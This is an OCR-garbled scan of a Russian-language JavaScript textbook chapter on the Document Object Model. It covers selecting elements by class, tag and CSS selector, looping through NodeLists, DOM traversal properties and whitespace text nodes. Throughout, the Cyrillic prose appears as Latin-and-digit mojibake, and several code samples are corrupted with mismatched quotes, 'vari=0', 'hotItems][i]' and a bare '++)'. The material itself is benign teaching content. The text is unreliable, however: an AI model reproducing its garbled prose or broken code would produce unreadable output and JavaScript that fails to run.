KOHKpeTHOe 3Ha4yeHue. meToAa. BO3BpallaeT 06bekT Nodelist.

c05/js/get-elements-by-class-name.js

var elements = document.getElementsByClassName(‘hot'); // Haxopum anemenTbl ¢ knaccom hot

if (elements.length > 2) { // Eco Haigeto 3 uam Gonee
var el = elements[2]; // Boigensiem Tpetwit anemenT u3 NodeList
el.className ="cool'; // W3meHsem 3HaveHue atpubyra class 3toro anementa
}

MpuMmep HauMHaeTcs C noucka
TEX 3/IEMEHTOB, Yen aTpUbY T
class UMeeT 3HayeHue hot.
(3HauyeHue aTpmbyTa class .
MOXeT coZlep>XaTb HECKOJIbKO CBEXXHH WHKND
MMEH KJ1aCCOB, pasaeNsieMblx
npobenamu.) PesynbraT 3a-
npoca k DOM coxpaHsieTcst KEAPOBbLIE OPELIKHA
B nepemMeHHoW elements, No-
CKOJIbKY B MPYMEpPE OH 1c-
nosib3yeTcsi HEOAHOKPATHO. nuenHbIN Men

MHcTpykums if nposepser,
Halwen v 3anpoc bonee AByX
anemeHTOB. Ecnm Tak, To
TPeTU aNeMeHT BbibupaeTcs
N COXpaHseTcs B nepemMeH-
Ho el. ATpmnbyT class 3TOro
3/1eMeHTa 06HOBAAETCA 1 MNo-
nyyaeT 3HayeHue cool. B cBOO
oyepeab, flaHHas onepauns
NHULMMPYET NPpUMeEHeHne
HoBoro CSS-ctuns, usmeHs-
IOLLNI NpeaCcTaB/IEHME 3TOTO
3/1eMeHTa.

Danb3aMMUEecKUin yKeyc

Moaaepxka 6paysepamum:
Internet Explorer 9, Firefox 3,
Chrome 4, Opera 9.5, Safari 3.1
VIV BbILLE.

@ OBbEKTHAA MOLEJ/Ib AOKYMEHTA

JAVASCRIPT

PE3YJIbTAT




BbIBOP 3JIEMEHTOB
COIMNNMACHO MMEHAM
HTML-TEIOB

MeToz getElementsByTagName() VIMsa anemeHTa yka3sbiBaeTcs ObpaTnTe BHUMaHWE: B faH-

NO3BOJISIET BbIAENATb d/1€EMEH- Kak napameTp, MO3TOMY OHO HOM CJ/ly4ae He MCNONb3YITCA

Tbl N0 UMeHN HTML-Tera. 3aK/to4aeTcs B KaBblYkM U 3a- Yr10Bble CKOBKM, B KOTOpble
nucblBaeTcs B ckobkax. 3aKk/ItovaeTCs UMA Tera B A3bl-

ke HTML (Tonbko 6yKBbI).

JAVASCRIPT c05/js/get-elements-by-tag-name.js

var elements = document.getElementsByTagName('li"); // Haxogum anemenTsi li

if (elements.length > 0) { // Ecn HaiigeH g unv Gonee anemeHToB
var el = elements[0]; // Bbibupaem nepBbiii 13 HUX NPU NOMOLYYM CUHTAKCUCA MACCUBOB
el.className ="cool'; // VI3meHsiem 3HaueHue knacca
}C
3/4ecb Mbl OTbICKMBaeM BCe
PE3YJIbTAT anemMeHTbl li B JOKYMeEHTE,

a pe3ynbTaT COXpaHsieM B ne-
e pemeHHoON elements, Tak kak
CBEXXWH NHKND B 3TOM MNPpUMeEpPE OH UCMONb3Y-

€TCA HEOAHOKPAaTHO.

MHcTpykums if nposepserT,
6bIIV NN HAWAEHbI SNEMEHTbI
li. Kak 1 c ntobbIM MeTOAOM,
CrnocobHbIM BO3BpaLLaTh
NodelList, Bbl cHa4ana A0XKHbI
NpoBepuUTb HaIM4YMe NOAXOA -
LLiero a/IeMeHTa, a 3aTeM yXe
nblITaTbCA paboTaTb C HAM.

KEAPOBLIE OPEIIKU

nyenuHbIn Meq

Ganb3aMuUecKui yKeyc

Ecnv 6binun HaneHbl an1eMeH-
Thl, YA0B/IETBOPSIOLLME 3a-
npocy, To BbibrpaeTcs nepsbii
N3 HUX, N ero aTpubyT class
obHoBnsdeTcA. B pesynbrate
$OHOBbIV OTTEHOK 3/1EMEHTA
B CMMCKE U3MEHSETCS Ha LUBeT
MOPCKOW BOJIHbI.

Moaaepikka 6paysepamum:
OYeHb XOpoLLas — MoXeTe
CMEeJ10 MO/Ib30BaTbCS M B JTt0-
BbIX CLLEeHapUaX.

OBBbEKTHAA MOOEJIb AOKYMEHTA



BbIBOP 2JIEMEHTOB
[PV MOMOLLN
CSS-CEJIEKTOPOB

MeTog querySelector() Bo3-
BpallaeT nepBbli y3es ane-
MEHTa, COOTBETCTBYOLLUI
cenektopy CSS-ctuna. Metoa
querySelectorAll() Bo3BpaLlaeT
06bekT Nodelist co Bcemu cos-

Ob6a meToaa npuHumatrT CSS-
CeNeKTop Kak EANHCTBEHHbIN
napametp. CuHTakcnc CSS-
CeNeKTOPOB MNO3BONSAET BblOM-
paTb 3/ieMeHTbl 6osiee rnbKo
1N TOYHO, YEM MPOCTO NYyTEM

Tera. 3TOT METOA A0JIKEH
6bITb 3HAaKOM DPOHTEHA-
paszpaboTumkam, KoTopble
NPUBbLIKAN BbIAENSATb 3/1IEMEH-
Tbl Npy nomowm CSS.

naBLWLNMKN BapMaHTaMu. yKasaHunsa UMeHu Ks1acCa nan

JAVASCRIPT

c05/js/query-selector.js

// MeTop querySelector() Bo3Bpaluaet Ton1bko NepBoe CoBNAfeHMe.
var el = document.querySelector('li.hot');
el.className = "cool’;

// Metop querySelectorAll Bo3spavjaer NodelList.

// BTopoii coBnagatolyuii C 3anpocom 3neMeHT (TPETUil B CUCKE) BLIOUPAETCA U U3MEHSETCS.
var els = document.querySelectorAll('li.hot');

els[1].className ="cool’;

JlBa aTnux meTozaa bbinu cosaa-
Hbl Mpon3BOANTENAMM Bpay-
3epoB, MOCKO/IbKY MHOTM1e pas-
paboTuMKyM BKIlOYAIN B CBOW
KOZ CLeHapum — Hampumep,
13 6ubnnotekn jQuery — ana
BbibOpa 371eMeHTOoB Mo ux CSS-
cenekTopam. Mbl nogpobHee
noroBopum o bubnnoTteke
jQuery BrnaBe 7.

PE3YJIbTAT

CBEXUH NHXUP
KeapoBLie OpelKy

ObpaTuTe BHUMaHMe Ha mno- MHEJIVHBIN MEN

CNefHIol CTPOKY B KoZe. Ansa
Bbi6Opa BTOPOro a/lIeMeHTa 13
konnekumm Nodelist ncnosnb-
3yeTCs CMHTAKCUC MacCMBOB,
aaxe npu Tom, uto Nodelist
COXpaHsAeTCsa B NepeMeHHON.

banbsaMnyeckuin yKkcyc

Internet Explorer 8 (gaTa Bbl-
nycka — mapt 2009);
Firefox 3.5 (faTa Bbinycka —
MoHb 2009);

Chrome 1 (gaTa Bbinycka —
CceHTS6pb 2008);

Opera 10 (gaTa Bbinycka —
ceHTa6pb 2009);

Safari 3.2 (gata Bbinycka —
Hos6pb 2008);

nnun 6osiee HoBble BEPCUMN.

Moaaepxka 6paysepamu:
HeAgoCTaToK 06onx METOA0B
3aK/1l04aeTCsa B TOM, YTO
OHU MOAAEPXKMBAOTCA NLLb
B CPAaBHMUTENbHO HOBbIX Bpa-
y3epax.

@ OBbEKTHAA MOLEJ/Ib AOKYMEHTA



Koga JavaScript BbinosHaeTcA
Mo O4HOM CTPOKE B eA4NHULY
BPEMEHMU, KoOMaHAbl paboTatoT
C KOHTEHTOM CTpaHuLbl N0

Ecnn 3anpoc Kk DOM BbInoaHs-
eTCsl B MOMEHT 3arpysku cTpa-
HWLbI, TO NOCNEAYIOLLMNIN Takown
e 3anpoc MOXET BEPHYTb

Huxe nokasaHo, kak mpumep

C npeablayLen CTpaHuLbl
(query-selector.js) nameHsiet
Aepeso DOM no mepe paboTbl.

Mepe TOro, Kak MHTepnpeTa-
TOp 0bpabaTtbiBaeT nx.

WHbl€ 3/TEMEHTbI.

1: HA OTATIE NMEPBUYHOW 3ATPY3KWU CTPAHNMLbI
1. Tak 3arpy>kaeTcsi CTpaHuua.
3aecb ecTb Tpu anemeHTa li,

HTML
KOTOpPbIM MPUCBOEH Kacc hot.

<ul> MeTog querySelector() Haxo-
<liid="one" class="hot"> AWT NepBbI TakoM 3/IeMeHT
<em>cBexuit</em> uhxup</li> 1 06HOBASIET K/1aCC, U3MEHSS
<li id="two" class="hot">keapoBble opewu</li> ero 3HayeHue c hot Ha cool.
<l id="three" class="hot">nvenusiit mep</i> AanHbi koA Takxe 0bHoBAAET
<li id="four">6anb3amuyeckuii ykcyc</li> AEPEBO POM, CoxpaHEHHoe
<Jub> B NamaTn. Taknum o6pa3c3M,
noc/ie BbINMOJHEHUS 3TOM
CTPOKW KOAA NWLLb Y BTOPO-
ron TpeTbero aieMeHTOoB i
coxpaHsieTcs aTpubyT class co
3HavyeHnem hot.

c05/query-selector.html

2: MOCJIE NEPBOIO HABOPA KOMAH/L,
2. Korpga cpabaTtbiBaeT BTOpou
CeneKTop, y Hac y>Xe BCero

HTML
ABa anemeHTa li c knaccom

<ul> hot (CMm. BbILLIE), NOTOMY OH
<liid="one" class="cool"> BbI6MpaET 3TU 1Ba 31eMeHTa.
<em>CBexuit</em> ukxup</Li> Tenepb CUHTAaKCMC MacCMBOB
<liid="two" class="hot">kepposble opewku</li> npumeHsieTcs Anst paboTbl co
<liid="three" class="hot">nyenunbiit mepg</li> BTOPbIM 3/IEMEHTOM, YA0BET-
<li 1d="four">6anb3amuueckmit ykcyc</li> BOpAtoLMM 3anpocy (TpeTbum
</ul> 3/1IEMEHTOM B crimcke). OnaTb
e, 3HayeHune ero aTpunbyTa
class meHsieTcsa ¢ hot Ha cool.

c05/query-selector.html

3. Korga BTopown cenektop
3aKOHYMT paboTy, B gepe-

3: MOCJIE BTOPOIO HABOPA KOMAH
Be DOM ocTaHeTcs BCero

HTML
0AVH anemeHT li, koTopomy

<ul> npuceoeH knacc hot. /ltob6on
<li id="one" class="cool"> nocneny}ommﬁ Koz, VILLlyLLlVIVI
<em>CBexuit</em> ukxup</Li> aneMeHThI li ¢ knaccom het,
<liid="two" class="hot">kepposble opewku</li> ByseT HaXxoANTb TO/IbKO ero.
<liid="three" class="cool">nuenunbiit meg</li> C Apyron CTOPOHbI, ECAN Mbl
<li 1d="four">6anb3amuueckmit ykcyc</li> nonpobyem HaiT anemeHTbl
</ul> li c knaccom cool, Takomy 3a-
npocy yA0BNETBOPAT 4Bay3na
3/1EMEHTOB.

c05/query-selector.html

OBbEKTHAA MOAEJIb AOKYMEHTA



OBPABOTKA OBBEKTA
NODELIST LEJIMKOM

Mpu paboTte c Nodelist MoxxHO nepebupaTtb Npy NnomMoLLK LuKIa
BCE Y3/1bl, BXOASALLME B KONIEKLMUIO, U MPUMEHSATb K KaXK 40MY
OAVH N TOT XXe Habop KomaHa,.

Hanpumep, koraa o6bekT
Nodelist co3aaH, ero anemeH-
Tbl MOXHO nepebpaTtb Npu
nomoLyu uukna for.

var hotItems = document.querySelectorAll('li.

Bce KOMaHAbl, 3anMcaHHble
B UrypHbIX CKOBKax LuMKaa

for, NPYMeEHSIOTCA N0 NOPSAAKY

KO BCEM 3/1IEMEHTaM, coaep-

Xawmumcs B Nodelist.

for (vari=0; i < hotltems.length; i++) {
hotItems[i].className = "cool';

}

1

MepemeHHasn hotltems xpaHUT
06bekT NodelList. BobbekTe
Nodelist coaepxaTcs Bce
3/1EMEHTbI CNUCKaA, YbWN aTpU-
6yThbl class UMeKT 3HaYeHNE
hot. C60Op 3TUX 3/1eMEHTOB
BbIMOJIHAETCSA NPU MOMOLLMU
meTozAa querySelectorAll().

2

CBowcTBo length 06bekTa
NodelList ykasbiBaeT, CKo/b-
KO 3/1eMEHTOB COAEPXUTCS

B 06bekTe Nodelist. Ux konn-
YeCTBO paBHO YNC/Y UTepa-
Uun ymkna.

@ OBbEKTHAA MOLEJIb AOKYMEHTA

YT106bl yKa3aTb, C KAKUM 3/1e-
meHTOoM NodeList mbl B Ha-
CTOALLNIA MOMEHT paboTaem,
MNCNOJIb3yeTCs CYETYUK i,

a npuMeHsieMbl 34eCb CUH-
TaKCUC HANOMMWHAET CUHTAK-
CUC MacCCUBOB.

hot');

3

CUHTaKCUC MacCUBOB yKasbl-
BaeT, C KAKUM 3/IEMEHTOM U3
NodeList mbl paboTaem B Ha-
cTOoALWNIA MOMEHT: hotItems[i].
B KBagpaTHbIX CkKobKax Haxo-
AUTCA MEpEMEHHas cYeTymKa.



[MPUMEHEHWE LUNMKJTA CO

EC/iM Bbl XOTUTE MPUMEHUTL
OAVH 1 TOT Xe KoZ cpasy

K MHOXECTBY 3/IEMEHTOB, TO
04yeHb yA06HO obpabaTbiBaTh
anemMmeHTbl Nodelist B ymke.

JAVASCRIPT

[Mpwn 3TOM CHayana Hy>XHo
HaWTWN, CKONbKO 3/1IEMEHTOB
coaepxutcs B Nodelist, a no-
TOM YCTaHOBUTb CYETUYMNK AN
X noovyepeaHomn o6paboTkm
B LMKE.

var hotItems = document.querySelectorALl('li.hot'); // Coxpansiem NodeList B maccuse

if (hotItems.length > 0) {

for (vari=0; i<hotItems.length; ++) {

hotItems][i].className = "cool';

}

PE3YJIbTAT

CBEXXNV HXUP

KEAPOBLIC OPCIIKHA

NUeuHbIN Mefd

// Ecnn B NodelList ectb anemenTsl

CIMMCKOM Y3J10B

Mpu KaXAon ntTepauumn Lukna
cueHapui yaoctoBepsieTcs,
YTO 3HAYEHME CYETYMKA MEHb-
Lie 06Lllero KonmyecTsa ane-
meHTOoB B NodelList.

c05/js/node-list.js

// 06pabatbiBaem Ux Bce Npu NOMOLLY LuKna

// W3meHsem 3Havenme atpubyra class

BGanb3aMuyecknin ykcyc

3aecb 06bekT Nodelist creHe-
pvpoBaH Npu NOMoLLK MeToAa
querySelectorAll(). MeToa nieT
nobble anemeHTsl li c knac-
com hot.

Konnekums Nodelist xpaHutcs
B nepemeHHoOM hotltems, a Ko-
ZINYECTBO 3/IEMEHTOB B CNucke
paBHO 3HAaY€HUIO CBOMNCTBA
length.

[na BCEX 31EMEHTOB 13
Nodelist 3HaueHune aTpnbyTa
class MmeHsAeTCH Ha cool.

OBBbEKTHAA MOOEJIb AOKYMEHTA @



[MPNMEHEHWE LUNKJTA
CO CIMCKOM Y3J10B

0< 3? eM1KO
H aBnﬂ
ap¥o

%,

KOPONb BKYCA

MPOOOBONBLCTBEHHASA JTABKA

NMPONOBOJ/ILCTBEHHASA JTABKA

Hauano i=0 i=1

M3HayanbHO 3Ha4YeHUe cyeT-

B Hayane sToro npumepay Hac uuKa ycTaHaB/IMBaETCS paB-
ecTb TpVI 3/IeMeHTa CNuUcka, HbIM O. Tak Mbl Bbibupaem nep-
BbIil 3/IEMEHT W3 KOJIIEKLUM
o6nap,a|0u.|,|/|x Ks1accom het, NodelList (MmetoLLuit MHAEKC
> 0). B KayecTBe 3HaYeHWs ero
MOTOMY 3Ha4€eHMe CBOUCTBA aTpumbyTa class ycTaHaBAuBa-
hotItems.length paBHoO 3. Eren ol

@ OBbEKTHAA MOLEJIb AOKYMEHTA



1< 37

for (vari=0; i< hotltems.length; i++) {
hotItems[i].className = "cool’;

}

KOPOMb BKYCA.

NMPONOBOJ/IbLCTBEHHASA JTABKA

2<3?

KOPOMb BKYCA.

NMPOJOBOILCTBEHHAS JIABKA

3<3?

Korfa cyeTuymk nosyyaer 3Ha-
yeHue 1, Mbl BbIGUpaem BTO-
pOI 3NIEMEHT U3 KOJIIEKL MU
Nodelist (Mmeo WKt MHAEKC
1) M B KAQYECTBE 3HAYEHUS €ro
aTpubyTa class ycTaHaB/MBa-
em cool.

Korpa cueTuymnk nonyvaet
3HauyeHue 2, Mbl bepem Tpe-
TUW 3/IEMEHT U3 KONJTEKLUN
Nodelist (MmeWKN NH-
AEKC 2) Y TaK Xe npuceauea-
eM class 3HayeHwue cool.

1
W

KoHewL

Korpa 3HauyeHue cyeTymnka
CTaHOBUTCS paBHbIM 3, yC-
noBue bosiee He BO3BpaLLaeT
true, M UMK 3aKaHYMBaAETCS.
CueHapui npoAosixXaeT pa-
60Ty C NepBOV CTPOKK KoAa,
nayLien nocnae ymkna.

OBBbEKTHAA MOLOEJIb AOKYMEHTA @




ObXO4 DOM

iIMmes y3en aneMeHTa, Bbl MOXETEe Npu MOMOLLN Ceay-
IOLLIMX MATY CBOMCTB BbIOpaTb APYron 3/1IEMEHT, OTHO-
cAWMMCa K HeMy. Takas onepauus HasbiBaeTcs 06xo-

aAom DOM.

parentNode

37O CBOMCTBO yKa3biBaeT
Ha y3es, COOTBETCTBYOLLMNA
B HTML poantenbckomy
(obbemioLLeMy) 31EMEHTY
MNCXOAHOrO.

(1) Ecnv Bbl HaYanu paboTy
c nepsoro snemexTa li, To

€ro poAUTENbCKUM Y3/10M

oyaeT anemeHT ul.

previousSibling
nextSibling

DTV CcBOWCTBA coAepxaT
COOTBETCTBEHHO Npeabiay-
WM N cneayowmm ane-
MEHTbI, KOTOPbIE CMEXHbI
ncxogaHomy (Mpu ycnosumu
Ha/M4YMa TakoBbIX).

Ecan Bbl Havyanm paboTy

c nepsoroli, Toy Hero He
OyLeT npegbiayLero cMmex-
Horo asiemeHTa. OaHaKo
ero c/1e4yoLmnm cCMeXHbIM
asniemeHTomM (2) byaeT ysen,
COOTBETCTBYOLLNI BTOPO-
my li.

firstChild
lastChild

3TV CBONCTBA yKa3biBaeT
Ha NepBbIN NN NOCNEAHUN
A0YEPHUI 3/IEMEHT UCXOA-
Horo.

Ecnuv Bbl Hayanm pabo-

Ty C a/iemMeHTa ul, To ero
repBbIM JOYEPHUM 3/1€-
MeHTOM byaeT y3en, cooT-
BeTCTBYOLMIA nepBomy li,

a (3) nocaegHUM godepHum
sn1emeHToM ByfeT nocnea-
HuM L.

JTO CBOMCTBA TeKyLlero
y3na (a He meToAbl AN
BblbOpa a/1emMeHTa), NoTo-
My MOC/1e HUX He CTaBATCSA
cKobKku.

Ecan Bbl UCMO/Ib3yeTe 3TU
CBOWCTBA, HO y Bac HeT npe-
AblAyLlero/cneaytouiero
CMEXHOTO0 3/lemMeHTa 1nbo
nepBoro/nocnejHero 4o-
yepHero, pesynbTaT byaet
paseH null.

@ OBbEKTHAA MOLEJ/Ib AOKYMEHTA

3TN CBOWCTBA NpeAHa3Ha-
YeHbl TONIbKO A5 YTEHUS.
VIX MOXHO MCMONb30BaThb
ANWb 415 BbIGOpa HOBOMO
y31a, HO He A1 USMEHEHUS
poOAUTENBCKOr0, CMEXHOro
MW JOYEPHEro 3/IEMEHTa.



Y3J1bl NMPOBEJIbHbBIX
CMBOJIOB

O6xoa DOM MoXeT bbITb 3aTPYAHNTEIbHBIM, TaK Kak He-
KOoTopble bpay3epbl 400aBAOT HOBbIM TEKCTOBbIN Y3€e
Ha MeCTe KaXkZ0ro npobesibHOro CMMBOJ1a MeXy 3/1e-

MEHTaMMWN.

BonblwnHCTBO Bpaysepos
(kpome Internet Explorer)
pacueHuBatoT tobble Npo-
6e/bHble CUMBObI MEXAY
3/1eMEHTamMu, B YaCTHOCTH,
CMMBO/IbI Nepexoaa Ha
HOBYIO CTPOKY, KaK TEKCTO-
Bble y3/1bl. [lo3TOMY Npw-
BeJleHHble HMXXe CBONCTBA
B pa3Hbix bpay3sepax 6yayT
BO3BpaLLaTb pasHble 3/1e-
MEHTBI.

previousSibling
nextSibling
firstChild
lastChild

Hwu>e nokasaHbl BCe y3/1bl
npobesibHbIX CUMBO/IOB,
aobaBnsgemble K AepeBy
DOM B npumepe co cnuc-
KoM. Kaxgomy y3ay cooT-
BETCTBYET 3e/IeHbl MPSAMO-
YronbHUK. MOXHO 13BEeYb
CO CTpaHuLbl BCe Npobeb-
Hble CUMBOJIbl U INLLb NMOC/e
3TOro noaath ee B bpaysep.
B Takom cny4yae cama cTpa-
HULA yMeHblunTCa 1 byaet
ObICTpee 3arpy>aTbCs.
MpaBaa, Npy 3TOM 3Haum-
TenbHO NocTpagaeT ya060-
4ynTaemocTb koZa.

ul

Ewle oavH nonynspHbIn
cnocob pelleHna nogob-
Hbix Npobaem — paboTaTb
c bubnnoTekon JavaScript,
Hanpumep, c jQuery, no-
MOratoLen cnpaBasTbCe
c noAobHbIMM HeyaobCTBa-
MU. IMEHHO Takmne HecTbl-
KOBKW Mexay bpaysepamum
BO MHOrOM crnocobcTBo-
Ba/IM POCTY NOMYNAPHOCTH
jQuery.

li

Li

Bpaysep Internet Explorer (cm. BbiLLe) UTHOPpUPYET NpobebHblE CUMBOJIbI U HE CO3AaeT

AONMOJZTHNTEJIbHbBIX TEKCTOBbIX Y3J10B.

ul
|
I I I I
B 8B 8B 8 @
Bpaysepbl Chrome, Firefox, Safari n Opera coszatoT TeKCTOBbIE Y3/1bl Ha MecTe Npobesb-
HbIXx cuMBo10B (NpobesioB 1 Nepexoja Ha HOBYO CTPOKY).

OBBbEKTHAA MOOE/Ib AOKYMEHTA @



B3SAMMOOTHOLUEHNEA
MEXXOY 2JIEMEHTAMU

Kak Bbl TO/IbKO Y4TO yH6eamnamncsy,
pe3ynbTaTbl NPUMEHEHWS 3TUX
CBOWCTB B pa3Hbix bpay3sepax
Hepeako oTanyatTca. OgHako
Bbl MOXETE CMEJIO MOJ1b30-
BaTbCs AAaHHbIMUW CBONCTBAMMU,
€C/I MeXAY 3/IEMEHTAMM HET

B AgaHHOM Npumepe mMbl yaanu-
/v BCe NPo6esibHbIe CUMBOJIbI
mexay HTML-anemeHTamu.
YTo6bl NPOAEMOHCTPUPOBATH
3TV CBOMCTBA Ha NpakTuKe,
Bbibepem BTOPOM 3/1IEMEHT U3
cnucka npu NoMoLLn MeToAa

getElementById(). Jns sToro
y3/1a 31eMeHTa CBOWCTBO
previousSibling BepHeT nep-
BbIli 9nemMeHT li, a cBoncTBO
nextSibling — TpeTun li.

npo6en bHbIX CUMBOJ10OB.

c05/sibling.html

<ul><li id="one" class="hot"><em>cBexuit</em> urxmp</li><li id="two" class="hot">kegpoBble opewku</li><li id="three"
class="hot">nyenunsiii mep</li><li id="four">6anb3amuyeckuit ykcyc</li></ul>

€05/js/sibling.js JAVASCRIPT
// Bbibupaem HCXORHbI 3NEMEHT M HAXORUM 3NEMEHTb], CMEXHBIE C HUM.

var startltem = document.getElementByld('two');

var prevItem = startItem.previousSibling;

var nextItem = startItem.nextSibling;

// W3mMeHsem 3HaveHus aTpubyTos class y CMEXHbIX 3NeMeHTOB.
prevItem.className = 'complete';
nextItem.className = 'cool';

li PE3Y/NIbTAT

. NCXOAHbBIN 31eMEeHT CBEXUIM, WHKWD

@ rpenbiaywni
CMEXHbIii 3N1eMeHT
KEAPOBLIC OPEIIKHU

@ cCneayownit
CMEXHbIN dN1eMeHT

O6paTVITe BHMMaHMe: CCblNIKN Hetgahapalil el

Ha CMe>XHble Y3/1bl COXpaHs-
0TCS B HOBbIX MEPEMEHHDbIX.
Taknm 06pasom, K y31y MOX-
HO MPUMEHSITb CBONCTBA, Ha-
npumep, className. /lna sTtoro
MeXAY UMEHEM NepeMeHHON
1N CBOMCTBOM CTaBUTCS TOYKA.

OGanb3aMUUECcKUi YKCyC

@ OBbEKTHAA MOLEJ/Ib AOKYMEHTA



Mpw HaMUMM NPoBeENbHbBIX
CYMBOJIOB MEXAY 3/IEMEH-
Tamu 3TV CBOMCTBA TakXe
BO3BpaLLAOT HEOAMHAKOBbIE
pesy/ibTaTbl B pasHbix 6pay-
3epax. IOLLIETO 3/IEMEHTA, B pe3y/ibTaTte

JIEMEHTbBI-NMOTOMKW

B gaHHOM npumepe Mbl nc-
nonbsyem B HTML HemHorO
HeobblYHOE peLleHne: 3aKpblBa-
IOLLWIM Ter CTaBUTCA BNJIOTHYIO
K OTKpbIBalOLLEMY Tery caeay-

yAO60‘~IVITaeMOCTb BCero kogda
HEMHOrO MOoBbILLIAETCSH.

Mpumep HaumMHaeTca c MeToa
getElementsByTagName(), npwu
MOMOLLIM KOTOPOro Mbl BblZe-
N€M Ha CTpaHuLe 3EMEHT
ul. CBoncTBo firstChild faHHOrO
y3/1a 3/1leMeHTa BEPHET Nep-
BbI li, a cBoncTBO lastChild —
nocneaHumn.

<ul
><[iid="one" class="hot"><em>cBexuit</em> nrxnp</li
><liid="two" class="hot">keppoBble opewku</li
><[iid="three" class="hot">nuenunslil mep</li
><li id="four">6anb3amuueckuii ykcycs/li

></ul>

c05/child.html

JAVASCRIPT €05/js/child js
// Bbliensem UCXOZHbI 3NEMEHT U HAXOBUM Ero 3N1eMEHTbI-NOTOMKM.
var startItem = document.getElementsByTagName('ul')[0];
var firstItem = startItem.firstChild;
var lastItem = startItem.lastChild;

// W3meHsem 3HaveHus atpubyTos class y 3neMeHTOB-N0TOMKOB.

firstItem.setAttribute('class', 'complete’);
lastItem.setAttribute('class', 'cool');

PE3YJ/IbTAT

CBEXXUH MHXWUP

KEAPOBLIE OPEWKH

@ ncxodHbIn
SNIEMEHT

nuesinHbIN Meq

@ nEPBbLIV SNIEMEHT-
NMOTOMOK

banb3aMNIECKNM YKCYC

@ rnocnEgHUM
S/IEMEHT-MOTOMOK

OBBbEKTHAA MOOEJIb AOKYMEHTA @



KAK MNMOJ1YUYUTb NJ1
OBHOBNTb COOEPXVMOE
QJIEMEHTA

1o cux nop B 3TOWM rnaBe Mbl 00CYy>XA4an, Kak HaXoAMUTb
anieMeHTbl B AepeBe DOM. B ocTaBLUENCS YaCcTu rnaBbl
Mbl MOrTOBOPVM O TOM, Kak Noaly4yaTb ZOCTYMN K COAEePXKU-
MOMY 3/1eMeHTa 1 0OHOBNATb ero. KoHKpeTHble NpUeMbl
paboTbl 3aBUCAT OT KOHKPETHOIr0 KOHTEHTA.

/laBaiiTe pacCMOTPUM TPU NprMepa <liid="one">uHxunp</li>
3nemeHTOB li Ha 3ToM pucyHke. Kax-
bl M3 HUX foBaBNseT elle HEMHOIO
pasMeTKu, NoTomy dparMeHTbl JepeBa “
DOM Kkaxaoro n3 aTUx aIeMeHTOB 3Ha-

YNTENIbHO OT/INYAKOTCA.

TEKCT:
UHXUP

= MepBbln 31eMeHT cnucka (Ha TekyLen
CTpaHuue) COAepXUT 0BbIYHbIN TEKCT.

= BTOpoW 1 TpeTuit anemeHTbl (Ha cne-
AYlOLLEen CTpaHuLe) cogepxaT U TekCT,
nTerv em. [MokasaHHbIN BblLLe 31eMeHT li umeeT:

Kak Buante, aaxe npu Aobasnermnn * OQINH 3/1eMEHT-MOTOMOK, COAEPXKaLLni
0YeHb MPOCTOro 3/1eMeHTa em CTPYKTypa

aAepea DOM cylLeCTBEHHO N3MeHseT-
cs. COOTBETCTBEHHO, NOA0OHbIE N3Me- BUANTE B CNKNCKE;
HEHWMS MOTYT NOBANATL Ha TO, KakK Bbl
cTaHeTe paboTaTb C 3TUM 31EMEHTOM
cnucka. Korga asneMeHT COAepXUT He
TOJIbKO TEKCT, HO U APYrne 3N1eMEHTbI,
Bbl, CKOpee Bcero, bygeTe paboTtaTb

C 3/1EMEHTOM-NPEeAKOM, a He C KaXAbIM
OTAE/IbHbIM €70 Y3/1I0M-MOTOMKOM.

€ANHCTBEHHOE C/ZTIOBO KMHXNPY, KOTOPOE Bbl

= y3en aTpubyTa, cogepxxalimn aTtpubyT id.

Ans pa60'rb| C coaepXMMbIM 31IeMeHTaA MOXHO TEKCTOBBbBIE Y3J1bl

AenaTb cnegytoulee. .
Korga Bbl nepenaeTe OT 3/1eMeEHTa K ero

* MepeiTh K TEKCTOBbIM y31aM. JlaHHbIl nprem TEKCTOBOMY Y371y, BaM TO W Aie/10 NpuAaeTcs
Haubosee y06eH, eCav 3NEMEHT COAEPXUT MCMOMb30BaTh 0HO CBOWCTBO:
TONbKO TEKCT M HUYero 6osee.
® Pa6oTaTb C 06BEMIOLLUM D/IEMEHTOM. CBOUCTBO OMUCAHUE
B TakoMm c/lyyae Bbl Nosy4yaeTe 4OCTYM K ero nodeValue '(ELOCTV'-'ZSS)EKCTV ysna
cM. C. .

TEKCTOBbIM Y3/1aM Y AOYEPHUM 3IEMEHTAM.
3TOT npuem Hanbosee yaobeH, eCn 3NeMEHT
COZEPXKUT U TEKCT, M AOYEPHNE SNIEMEHTbI,
ABNAOLMECA B3AUMHO CMEXHbIMU.

@ OBBbEKTHAA MOAEIb AOKYMEHTA



<li id="one"><em>csexui</em> UHxmp</li> <[i id="one">six <em>caexmit</em> UHKUP</[i>

li aTpuoyT i aTpuéyT
“ TEKCT: TEKCT: em TEKCT:
VHXUP caMbll NHXUP
TEKCT: TEKCT:
CBEXUN CBEXUN

= lobaBnaeTcs anemeHT em. OH CTaHOBUTCS
nepBbIM MOTOMKOM.

® Y 3/leMeHTa em eCTb CBOW JOYepHui
TEKCTOBbIN y3€e, rAe COAEPXNTCS C0BO
«CBEXUNY.

® IcxoAHbI TEKCTOBbIN y3€e1 Tenepb
CTaHOBUTCSA CMEXHbIM TOMY Y3y, KOTOPbIN
npeAcTaBaAseT 3/1eMeHT em.

OBBEMJIIOLLMW SNTIEMEHT

Koraa Bbl paboTaeTe c y310Mm anemeHTa (a
HE C ero TEKCTOBbIM Y3/10M), 3TOT 3/IEMEHT
MOXEeT cofepxaTb pasmeTky. MpuxoamTcs
BbIGMPaTb, YTO Bbl XOTUTE CAENATH: U3B/EYD
(NoNyynTb) pasmeTky UIWN YCTAHOBUTH
(06HOBUTD) €€, a TakXXe N TEKCT.

CBOWCTBO OMUCAHME

innerHTML YcTaHaBnvBaeT/nony-
YaeT TeKCT M pa3mMeTKy
(c.226)

textContent YcTaHaB/MBaeT/nosyyaeT TONbKO

TekcT (c. 222)
YcTaHaBnAnBaeT/nonyva-
eT ToNbKo TekcT (c. 222)

innerText

Korga tekcT agobasnsertca nepes

3/IEMEHTOM em:

® nepBbivi JOYepHui y3es1anemeHTa li —
3TO TEKCTOBbIN y3€en, CoAep>KaLlnii CN0BO
«CaMblny;

® Yy HErO €CTb CMEXHbIV 3/1eMEHT — y3en
3/1eMeHTa em; B CBOIO oYepe/b, y em eCTb
AOYEPHMYI TEKCTOBbBIN y3€/, coAepXalynmn
C/I0BO «CBEXUNY;

® HaKOHeL, eCTb elle TEKCTOBbIN y3enco
C/TIOBOM KUHXUNDPY, SABASOLLNACSH CMEXHbIM
